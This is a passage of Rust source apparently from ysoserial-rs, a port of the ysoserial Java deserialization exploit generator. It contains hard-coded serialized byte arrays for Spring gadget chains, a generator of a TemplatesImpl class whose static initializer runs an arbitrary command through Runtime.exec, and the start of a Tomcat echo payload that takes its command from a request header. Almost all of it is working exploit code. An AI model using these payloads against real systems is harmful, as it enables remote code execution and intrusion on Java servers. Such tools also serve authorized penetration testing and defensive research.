97, 108, 105, 122, 97, 98, 108, 101, 84, 121, 112, 101, 87, 114, 97, 112, 112, 15 | 101, 114, 36, 84, 121, 112, 101, 80, 114, 111, 118, 105, 100, 101, 114, 59, 120, 112, 0, 0, 16 | 0, 0, 116, 0, 14, 110, 101, 119, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 115, 17 | 125, 0, 0, 0, 1, 0, 61, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 18 | 101, 119, 111, 114, 107, 46, 99, 111, 114, 101, 46, 83, 101, 114, 105, 97, 108, 105, 122, 19 | 97, 98, 108, 101, 84, 121, 112, 101, 87, 114, 97, 112, 112, 101, 114, 36, 84, 121, 112, 20 | 101, 80, 114, 111, 118, 105, 100, 101, 114, 120, 114, 0, 23, 106, 97, 118, 97, 46, 108, 97, 21 | 110, 103, 46, 114, 101, 102, 108, 101, 99, 116, 46, 80, 114, 111, 120, 121, 225, 39, 218, 22 | 32, 204, 16, 67, 203, 2, 0, 1, 76, 0, 1, 104, 116, 0, 37, 76, 106, 97, 118, 97, 47, 108, 23 | 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 73, 110, 118, 111, 99, 97, 116, 24 | 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 120, 112, 115, 114, 0, 50, 115, 117, 25 | 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 97, 110, 110, 111, 116, 97, 116, 105, 111, 26 | 110, 46, 65, 110, 110, 111, 116, 97, 116, 105, 111, 110, 73, 110, 118, 111, 99, 97, 116, 27 | 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 85, 202, 245, 15, 21, 203, 126, 165, 2, 0, 28 | 2, 76, 0, 12, 109, 101, 109, 98, 101, 114, 86, 97, 108, 117, 101, 115, 116, 0, 15, 76, 106, 29 | 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 76, 0, 4, 116, 121, 112, 101, 30 | 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 31 | 120, 112, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 32 | 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 70, 33 | 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 63, 34 | 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 0, 7, 103, 101, 116, 84, 121, 35 | 112, 101, 115, 125, 0, 0, 0, 2, 0, 22, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 114, 36 | 101, 102, 108, 101, 99, 116, 46, 84, 121, 112, 101, 0, 29, 106, 97, 118, 97, 120, 46, 120, 37 | 109, 108, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 84, 101, 109, 112, 108, 97, 38 | 116, 101, 115, 120, 113, 0, 126, 0, 6, 115, 114, 0, 96, 111, 114, 103, 46, 115, 112, 114, 39 | 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 98, 101, 97, 110, 115, 46, 40 | 102, 97, 99, 116, 111, 114, 121, 46, 115, 117, 112, 112, 111, 114, 116, 46, 65, 117, 116, 41 | 111, 119, 105, 114, 101, 85, 116, 105, 108, 115, 36, 79, 98, 106, 101, 99, 116, 70, 97, 99, 42 | 116, 111, 114, 121, 68, 101, 108, 101, 103, 97, 116, 105, 110, 103, 73, 110, 118, 111, 99, 43 | 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 133, 98, 203, 192, 12, 253, 49, 44 | 19, 2, 0, 1, 76, 0, 13, 111, 98, 106, 101, 99, 116, 70, 97, 99, 116, 111, 114, 121, 116, 0, 45 | 49, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 46 | 114, 107, 47, 98, 101, 97, 110, 115, 47, 102, 97, 99, 116, 111, 114, 121, 47, 79, 98, 106, 47 | 101, 99, 116, 70, 97, 99, 116, 111, 114, 121, 59, 120, 112, 115, 125, 0, 0, 0, 1, 0, 47, 48 | 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 49 | 107, 46, 98, 101, 97, 110, 115, 46, 102, 97, 99, 116, 111, 114, 121, 46, 79, 98, 106, 101, 50 | 99, 116, 70, 97, 99, 116, 111, 114, 121, 120, 113, 0, 126, 0, 6, 115, 113, 0, 126, 0, 9, 51 | 115, 113, 0, 126, 0, 13, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 52 | 0, 9, 103, 101, 116, 79, 98, 106, 101, 99, 116, 115, 114, 0, 58, 99, 111, 109, 46, 115, 53 | 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 54 | 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 55 | 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 56 | 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 57 | 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 58 | 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 59 | 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 60 | 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 113, 0, 126, 0, 1, 76, 0, 17, 95, 61 | 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 62 | 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 63 | 101, 115, 59, 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 64 | 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 65 | 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 120, 112, 0, 0, 66 | ] 67 | .to_vec(); 68 | let template_impl = get_f_template_impl(cmd); 69 | let template_impl_len = template_impl.len() as u16; 70 | result_bytes.extend(template_impl_len.to_be_bytes()); 71 | result_bytes.extend(&template_impl); 72 | result_bytes.extend([ 73 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 120, 118, 114, 0, 18, 106, 97, 118, 74 | 97, 46, 108, 97, 110, 103, 46, 79, 118, 101, 114, 114, 105, 100, 101, 0, 0, 0, 0, 0, 0, 0, 75 | 0, 0, 0, 0, 120, 112, 120, 113, 0, 126, 0, 37, 76 | ]); 77 | result_bytes 78 | } 79 | pub fn get_spring2(cmd: &str) -> Vec { 80 | let mut result_bytes = [ 81 | 172, 237, 0, 5, 115, 114, 0, 73, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 82 | 97, 109, 101, 119, 111, 114, 107, 46, 99, 111, 114, 101, 46, 83, 101, 114, 105, 97, 108, 83 | 105, 122, 97, 98, 108, 101, 84, 121, 112, 101, 87, 114, 97, 112, 112, 101, 114, 36, 77, 84 | 101, 116, 104, 111, 100, 73, 110, 118, 111, 107, 101, 84, 121, 112, 101, 80, 114, 111, 118, 85 | 105, 100, 101, 114, 178, 74, 180, 7, 139, 65, 26, 215, 2, 0, 3, 73, 0, 5, 105, 110, 100, 86 | 101, 120, 76, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 116, 0, 18, 76, 106, 87 | 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 8, 112, 88 | 114, 111, 118, 105, 100, 101, 114, 116, 0, 63, 76, 111, 114, 103, 47, 115, 112, 114, 105, 89 | 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 99, 111, 114, 101, 47, 83, 101, 90 | 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 84, 121, 112, 101, 87, 114, 97, 112, 112, 91 | 101, 114, 36, 84, 121, 112, 101, 80, 114, 111, 118, 105, 100, 101, 114, 59, 120, 112, 0, 0, 92 | 0, 0, 116, 0, 14, 110, 101, 119, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 115, 93 | 125, 0, 0, 0, 1, 0, 61, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 94 | 101, 119, 111, 114, 107, 46, 99, 111, 114, 101, 46, 83, 101, 114, 105, 97, 108, 105, 122, 95 | 97, 98, 108, 101, 84, 121, 112, 101, 87, 114, 97, 112, 112, 101, 114, 36, 84, 121, 112, 96 | 101, 80, 114, 111, 118, 105, 100, 101, 114, 120, 114, 0, 23, 106, 97, 118, 97, 46, 108, 97, 97 | 110, 103, 46, 114, 101, 102, 108, 101, 99, 116, 46, 80, 114, 111, 120, 121, 225, 39, 218, 98 | 32, 204, 16, 67, 203, 2, 0, 1, 76, 0, 1, 104, 116, 0, 37, 76, 106, 97, 118, 97, 47, 108, 99 | 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 73, 110, 118, 111, 99, 97, 116, 100 | 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 120, 112, 115, 114, 0, 50, 115, 117, 101 | 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 97, 110, 110, 111, 116, 97, 116, 105, 111, 102 | 110, 46, 65, 110, 110, 111, 116, 97, 116, 105, 111, 110, 73, 110, 118, 111, 99, 97, 116, 103 | 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 85, 202, 245, 15, 21, 203, 126, 165, 2, 0, 104 | 2, 76, 0, 12, 109, 101, 109, 98, 101, 114, 86, 97, 108, 117, 101, 115, 116, 0, 15, 76, 106, 105 | 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 76, 0, 4, 116, 121, 112, 101, 106 | 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 107 | 120, 112, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 108 | 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 70, 109 | 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 63, 110 | 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 0, 7, 103, 101, 116, 84, 121, 111 | 112, 101, 115, 125, 0, 0, 0, 2, 0, 22, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 114, 112 | 101, 102, 108, 101, 99, 116, 46, 84, 121, 112, 101, 0, 29, 106, 97, 118, 97, 120, 46, 120, 113 | 109, 108, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 84, 101, 109, 112, 108, 97, 114 | 116, 101, 115, 120, 113, 0, 126, 0, 6, 115, 114, 0, 52, 111, 114, 103, 46, 115, 112, 114, 115 | 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 97, 111, 112, 46, 102, 114, 116 | 97, 109, 101, 119, 111, 114, 107, 46, 74, 100, 107, 68, 121, 110, 97, 109, 105, 99, 65, 117 | 111, 112, 80, 114, 111, 120, 121, 76, 196, 180, 113, 14, 235, 150, 252, 2, 0, 3, 90, 0, 13, 118 | 101, 113, 117, 97, 108, 115, 68, 101, 102, 105, 110, 101, 100, 90, 0, 15, 104, 97, 115, 119 | 104, 67, 111, 100, 101, 68, 101, 102, 105, 110, 101, 100, 76, 0, 7, 97, 100, 118, 105, 115, 120 | 101, 100, 116, 0, 50, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 121 | 109, 101, 119, 111, 114, 107, 47, 97, 111, 112, 47, 102, 114, 97, 109, 101, 119, 111, 114, 122 | 107, 47, 65, 100, 118, 105, 115, 101, 100, 83, 117, 112, 112, 111, 114, 116, 59, 120, 112, 123 | 0, 0, 115, 114, 0, 48, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 124 | 101, 119, 111, 114, 107, 46, 97, 111, 112, 46, 102, 114, 97, 109, 101, 119, 111, 114, 107, 125 | 46, 65, 100, 118, 105, 115, 101, 100, 83, 117, 112, 112, 111, 114, 116, 36, 203, 138, 60, 126 | 250, 164, 197, 117, 2, 0, 6, 90, 0, 11, 112, 114, 101, 70, 105, 108, 116, 101, 114, 101, 127 | 100, 91, 0, 12, 97, 100, 118, 105, 115, 111, 114, 65, 114, 114, 97, 121, 116, 0, 34, 91, 128 | 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 129 | 107, 47, 97, 111, 112, 47, 65, 100, 118, 105, 115, 111, 114, 59, 76, 0, 19, 97, 100, 118, 130 | 105, 115, 111, 114, 67, 104, 97, 105, 110, 70, 97, 99, 116, 111, 114, 121, 116, 0, 55, 76, 131 | 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 132 | 107, 47, 97, 111, 112, 47, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 65, 100, 118, 133 | 105, 115, 111, 114, 67, 104, 97, 105, 110, 70, 97, 99, 116, 111, 114, 121, 59, 76, 0, 8, 134 | 97, 100, 118, 105, 115, 111, 114, 115, 116, 0, 16, 76, 106, 97, 118, 97, 47, 117, 116, 105, 135 | 108, 47, 76, 105, 115, 116, 59, 76, 0, 10, 105, 110, 116, 101, 114, 102, 97, 99, 101, 115, 136 | 113, 0, 126, 0, 24, 76, 0, 12, 116, 97, 114, 103, 101, 116, 83, 111, 117, 114, 99, 101, 137 | 116, 0, 38, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 138 | 119, 111, 114, 107, 47, 97, 111, 112, 47, 84, 97, 114, 103, 101, 116, 83, 111, 117, 114, 139 | 99, 101, 59, 120, 114, 0, 45, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 140 | 97, 109, 101, 119, 111, 114, 107, 46, 97, 111, 112, 46, 102, 114, 97, 109, 101, 119, 111, 141 | 114, 107, 46, 80, 114, 111, 120, 121, 67, 111, 110, 102, 105, 103, 139, 75, 243, 230, 167, 142 | 224, 247, 111, 2, 0, 5, 90, 0, 11, 101, 120, 112, 111, 115, 101, 80, 114, 111, 120, 121, 143 | 90, 0, 6, 102, 114, 111, 122, 101, 110, 90, 0, 6, 111, 112, 97, 113, 117, 101, 90, 0, 8, 144 | 111, 112, 116, 105, 109, 105, 122, 101, 90, 0, 16, 112, 114, 111, 120, 121, 84, 97, 114, 145 | 103, 101, 116, 67, 108, 97, 115, 115, 120, 112, 0, 0, 0, 0, 0, 0, 117, 114, 0, 34, 91, 76, 146 | 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 147 | 107, 46, 97, 111, 112, 46, 65, 100, 118, 105, 115, 111, 114, 59, 223, 131, 13, 173, 210, 148 | 30, 132, 116, 2, 0, 0, 120, 112, 0, 0, 0, 0, 115, 114, 0, 60, 111, 114, 103, 46, 115, 112, 149 | 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 97, 111, 112, 46, 102, 150 | 114, 97, 109, 101, 119, 111, 114, 107, 46, 68, 101, 102, 97, 117, 108, 116, 65, 100, 118, 151 | 105, 115, 111, 114, 67, 104, 97, 105, 110, 70, 97, 99, 116, 111, 114, 121, 84, 221, 100, 152 | 55, 226, 78, 113, 247, 2, 0, 0, 120, 112, 115, 114, 0, 20, 106, 97, 118, 97, 46, 117, 116, 153 | 105, 108, 46, 76, 105, 110, 107, 101, 100, 76, 105, 115, 116, 12, 41, 83, 93, 74, 96, 136, 154 | 34, 3, 0, 0, 120, 112, 119, 4, 0, 0, 0, 0, 120, 115, 114, 0, 19, 106, 97, 118, 97, 46, 117, 155 | 116, 105, 108, 46, 65, 114, 114, 97, 121, 76, 105, 115, 116, 120, 129, 210, 29, 153, 199, 156 | 97, 157, 3, 0, 1, 73, 0, 4, 115, 105, 122, 101, 120, 112, 0, 0, 0, 0, 119, 4, 0, 0, 0, 0, 157 | 120, 115, 114, 0, 52, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 158 | 101, 119, 111, 114, 107, 46, 97, 111, 112, 46, 116, 97, 114, 103, 101, 116, 46, 83, 105, 159 | 110, 103, 108, 101, 116, 111, 110, 84, 97, 114, 103, 101, 116, 83, 111, 117, 114, 99, 101, 160 | 125, 85, 110, 245, 199, 248, 250, 186, 2, 0, 1, 76, 0, 6, 116, 97, 114, 103, 101, 116, 116, 161 | 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 162 | 112, 115, 114, 0, 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 163 | 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 164 | 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 165 | 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 166 | 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 167 | 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 168 | 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 169 | 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 170 | 109, 101, 113, 0, 126, 0, 1, 76, 0, 17, 95, 111, 117, 116, 112, 117, 116, 80, 114, 111, 171 | 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 172 | 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 0, 0, 0, 0, 255, 173 | 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 174 | 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 175 | 120, 112, 0, 0, 176 | ] 177 | .to_vec(); 178 | let template_impl = get_f_template_impl(cmd); 179 | let template_impl_len = template_impl.len() as u16; 180 | result_bytes.extend(template_impl_len.to_be_bytes()); 181 | result_bytes.extend(&template_impl); 182 | result_bytes.extend([ 183 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 120, 118, 114, 0, 18, 106, 97, 118, 184 | 97, 46, 108, 97, 110, 103, 46, 79, 118, 101, 114, 114, 105, 100, 101, 0, 0, 0, 0, 0, 0, 0, 185 | 0, 0, 0, 0, 120, 112, 186 | ]); 187 | result_bytes 188 | } 189 | -------------------------------------------------------------------------------- /ysoserial-rs/src/template_impl.rs: -------------------------------------------------------------------------------- 1 | use crate::util::get_rand_bytes; 2 | 3 | pub fn get_f_template_impl(cmd: &str) -> Vec { 4 | let mut f_template: Vec = [ 5 | 202, 254, 186, 190, 0, 0, 0, 51, 0, 28, 1, 0, 28, 100, 111, 103, 101, 115, 101, 114, 47, 6 | 68, 111, 103, 101, 7 | ] 8 | .to_vec(); 9 | let rand_string = get_rand_bytes(16); 10 | f_template.extend(&rand_string); 11 | f_template.extend([ 12 | 7, 0, 1, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 13 | 7, 0, 3, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 25, 68, 111, 103, 14 | 101, 15 | ]); 16 | f_template.extend(&rand_string); 17 | f_template.extend([ 18 | 46, 106, 97, 118, 97, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 19 | 0, 4, 67, 111, 100, 101, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 20 | 110, 116, 105, 109, 101, 7, 0, 10, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 21 | 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 22 | 105, 109, 101, 59, 12, 0, 12, 0, 13, 10, 0, 11, 0, 14, 1, 23 | ]); 24 | let cmd_len = cmd.len() as u16; 25 | f_template.extend(cmd_len.to_be_bytes()); 26 | f_template.extend(cmd.as_bytes()); 27 | f_template.extend([ 28 | 8, 0, 16, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 29 | 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 30 | 47, 80, 114, 111, 99, 101, 115, 115, 59, 12, 0, 18, 0, 19, 10, 0, 11, 0, 20, 1, 0, 13, 83, 31 | 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 1, 0, 64, 99, 111, 109, 47, 115, 117, 32 | 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 33 | 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 114, 117, 110, 116, 105, 34 | 109, 101, 47, 65, 98, 115, 116, 114, 97, 99, 116, 84, 114, 97, 110, 115, 108, 101, 116, 7, 35 | 0, 23, 1, 0, 6, 60, 105, 110, 105, 116, 62, 12, 0, 25, 0, 8, 10, 0, 24, 0, 26, 0, 33, 0, 2, 36 | 0, 24, 0, 0, 0, 0, 0, 2, 0, 8, 0, 7, 0, 8, 0, 1, 0, 9, 0, 0, 0, 36, 0, 3, 0, 2, 0, 0, 0, 37 | 15, 167, 0, 3, 1, 76, 184, 0, 15, 18, 17, 182, 0, 21, 87, 177, 0, 0, 0, 1, 0, 22, 0, 0, 0, 38 | 3, 0, 1, 3, 0, 1, 0, 25, 0, 8, 0, 1, 0, 9, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, 183, 0, 39 | 27, 177, 0, 0, 0, 0, 0, 1, 0, 5, 0, 0, 0, 2, 0, 6, 40 | ]); 41 | f_template 42 | } 43 | 44 | pub fn get_k_template_impl(cmd: &str) -> Vec { 45 | let mut k_template: Vec = [ 46 | 202, 254, 186, 190, 0, 0, 0, 51, 0, 28, 1, 0, 28, 100, 111, 103, 101, 115, 101, 114, 47, 47 | 68, 111, 103, 101, 48 | ] 49 | .to_vec(); 50 | let rand_string = get_rand_bytes(16); 51 | k_template.extend(&rand_string); 52 | k_template.extend([ 53 | 7, 0, 1, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 54 | 7, 0, 3, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 25, 68, 111, 103, 55 | 101, 56 | ]); 57 | k_template.extend(&rand_string); 58 | k_template.extend([ 59 | 46, 106, 97, 118, 97, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 60 | 0, 4, 67, 111, 100, 101, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 61 | 110, 116, 105, 109, 101, 7, 0, 10, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 62 | 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 63 | 105, 109, 101, 59, 12, 0, 12, 0, 13, 10, 0, 11, 0, 14, 1, 64 | ]); 65 | let cmd_len = cmd.len() as u16; 66 | k_template.extend(cmd_len.to_be_bytes()); 67 | k_template.extend(cmd.as_bytes()); 68 | k_template.extend([ 69 | 8, 0, 16, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 70 | 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 71 | 47, 80, 114, 111, 99, 101, 115, 115, 59, 12, 0, 18, 0, 19, 10, 0, 11, 0, 20, 1, 0, 13, 83, 72 | 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 1, 0, 64, 99, 111, 109, 47, 115, 117, 73 | 110, 47, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 120, 97, 108, 97, 110, 47, 105, 74 | 110, 116, 101, 114, 110, 97, 108, 47, 120, 115, 108, 116, 99, 47, 114, 117, 110, 116, 105, 75 | 109, 101, 47, 65, 98, 115, 116, 114, 97, 99, 116, 84, 114, 97, 110, 115, 108, 101, 116, 7, 76 | 0, 23, 1, 0, 6, 60, 105, 110, 105, 116, 62, 12, 0, 25, 0, 8, 10, 0, 24, 0, 26, 0, 33, 0, 2, 77 | 0, 24, 0, 0, 0, 0, 0, 2, 0, 8, 0, 7, 0, 8, 0, 1, 0, 9, 0, 0, 0, 36, 0, 3, 0, 2, 0, 0, 0, 78 | 15, 167, 0, 3, 1, 76, 184, 0, 15, 18, 17, 182, 0, 21, 87, 177, 0, 0, 0, 1, 0, 22, 0, 0, 0, 79 | 3, 0, 1, 3, 0, 1, 0, 25, 0, 8, 0, 1, 0, 9, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, 183, 0, 80 | 27, 177, 0, 0, 0, 0, 0, 1, 0, 5, 0, 0, 0, 2, 0, 6, 81 | ]); 82 | k_template 83 | } 84 | -------------------------------------------------------------------------------- /ysoserial-rs/src/tomcat_echo.rs: -------------------------------------------------------------------------------- 1 | use crate::util::get_rand_bytes; 2 | 3 | pub fn get_tomcat_echo(echo_header_name: &str, cmd_header_name: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 202, 254, 186, 190, 0, 0, 0, 51, 0, 233, 1, 0, 27, 100, 111, 103, 101, 115, 101, 114, 47, 6 | 115, 101, 114, 7 | ] 8 | .to_vec(); 9 | let rand_string = get_rand_bytes(16); 10 | result_bytes.extend(&rand_string); 11 | result_bytes.extend([ 12 | 7, 0, 1, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 13 | 7, 0, 3, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 24, 115, 101, 114, 14 | ]); 15 | result_bytes.extend(&rand_string); 16 | result_bytes.extend([ 17 | 46, 106, 97, 118, 97, 1, 0, 9, 119, 114, 105, 116, 101, 66, 111, 100, 121, 1, 0, 23, 40, 18 | 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 91, 66, 41, 19 | 86, 1, 0, 36, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 116, 111, 109, 99, 97, 116, 20 | 46, 117, 116, 105, 108, 46, 98, 117, 102, 46, 66, 121, 116, 101, 67, 104, 117, 110, 107, 8, 21 | 0, 9, 1, 0, 15, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 7, 0, 22 | 11, 1, 0, 7, 102, 111, 114, 78, 97, 109, 101, 1, 0, 37, 40, 76, 106, 97, 118, 97, 47, 108, 23 | 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 24 | 110, 103, 47, 67, 108, 97, 115, 115, 59, 12, 0, 13, 0, 14, 10, 0, 12, 0, 15, 1, 0, 11, 110, 25 | 101, 119, 73, 110, 115, 116, 97, 110, 99, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 26 | 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, 17, 0, 18, 10, 0, 12, 0, 19, 27 | 1, 0, 8, 115, 101, 116, 66, 121, 116, 101, 115, 8, 0, 21, 1, 0, 2, 91, 66, 7, 0, 23, 1, 0, 28 | 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 7, 0, 29 | 25, 1, 0, 4, 84, 89, 80, 69, 1, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 30 | 108, 97, 115, 115, 59, 12, 0, 27, 0, 28, 9, 0, 26, 0, 29, 1, 0, 17, 103, 101, 116, 68, 101, 31 | 99, 108, 97, 114, 101, 100, 77, 101, 116, 104, 111, 100, 1, 0, 64, 40, 76, 106, 97, 118, 32 | 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 33 | 47, 108, 97, 110, 